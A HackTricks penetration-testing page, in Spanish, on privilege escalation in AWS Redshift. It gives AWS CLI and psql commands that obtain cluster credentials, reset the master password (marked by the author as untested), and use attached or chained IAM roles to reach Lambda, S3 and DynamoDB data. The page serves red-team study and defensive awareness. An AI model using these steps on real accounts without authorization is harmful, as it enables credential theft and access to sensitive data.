AWS - Redshift Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Redshift

Para más información sobre RDS consulta:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Con estos permisos puedes obtener información de todos los clusters (incluyendo el nombre y el cluster username) y obtener credenciales para acceder a él:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Potential Impact: Encontrar información sensible dentro de las bases de datos.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Con estos permisos puedes obtener información de todos los clusters y obtener credenciales para acceder a ellos.
Ten en cuenta que el usuario postgres tendrá los permisos que tenga la identidad IAM usada para obtener las credenciales.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Impacto potencial: Encontrar información sensible dentro de las bases de datos.

redshift:DescribeClusters, redshift:ModifyCluster?

Es posible modificar la contraseña maestra del usuario interno postgres (redshit) desde aws cli (creo que esos son los permisos que necesitas pero aún no los he probado):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Impacto potencial: Encontrar información sensible dentro de las bases de datos.

Acceso a servicios externos

Warning

Para acceder a todos los recursos siguientes, necesitarás especificar el rol a usar. A Redshift cluster puede tener asignada una lista de AWS roles que puedes usar si conoces el ARN o simplemente puedes establecer “default” para usar el asignado por defecto.

Además, como explained here, Redshift también permite concatenar roles (siempre que el primero pueda asumir al segundo) para obtener acceso adicional, pero separándolos con una coma: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, es posible invocar una función lambda desde redshift con algo como:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, es posible leer y escribir en S3 buckets:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Como se explica en https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, es posible obtener datos de dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Warning

La tabla de Amazon DynamoDB que proporciona los datos debe crearse en la misma AWS Region que su clúster, a menos que utilice la opción REGION para especificar la AWS Region en la que se encuentra la tabla de Amazon DynamoDB.

EMR

Consulta https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks